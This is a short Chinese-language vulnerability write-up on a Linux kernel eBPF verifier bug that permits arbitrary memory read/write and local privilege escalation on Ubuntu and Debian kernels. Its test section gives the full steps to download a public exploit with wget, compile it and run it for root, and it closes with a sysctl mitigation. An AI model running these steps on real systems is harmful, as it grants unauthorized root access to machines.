0x01 前言
該漏洞由Google project zero發現。據悉,該漏洞存在於帶有 eBPF bpf(2)系統(CONFIG_BPF_SYSCALL)編譯支持的Linux內核中,是一個內存任意讀寫漏洞。該漏洞是由於eBPF驗證模塊的計算錯誤產生的。普通用戶可以構造特殊的BPF來觸發該漏洞,此外惡意攻擊者也可以使用該漏洞來進行本地提權操作。
0x02漏洞影響
Linux Kernel Version 4.14-4.4(影響Debian和Ubuntu發行版)
0x03 測試環境
ubuntu16.04 x64
0x04 測試步驟
1.提權exp下載地址:
http://cyseclabs.com/exploits/upstream44.c
2.cd切換到/opt目錄下並下載exp:
cd /opt #前提看/opt是不是777權限,不然編譯和執行不了exp
wget http://cyseclabs.com/exploits/upstream44.c
3.有的ubuntu沒有安裝gcc需要執行安裝:
sudo apt-get install gcc
如果缺少一些編譯組件,則需要安裝lib插件
apt-get install libc6-dev
4.然后利用gcc進行編譯
gcc -o exp upstream44.c
5.將exp進行更改為可執行權限
chmod +x exp
6.運行exp進行提權
./exp
0x05 漏洞修復
目前暫未有明確的補丁升級方案。 臨時建議用戶在評估風險后,通過修改內核參數限制普通用戶使用bpf(2)系統調用:
echo 1 > /proc/sys/kernel/unprivileged_bpf_disabled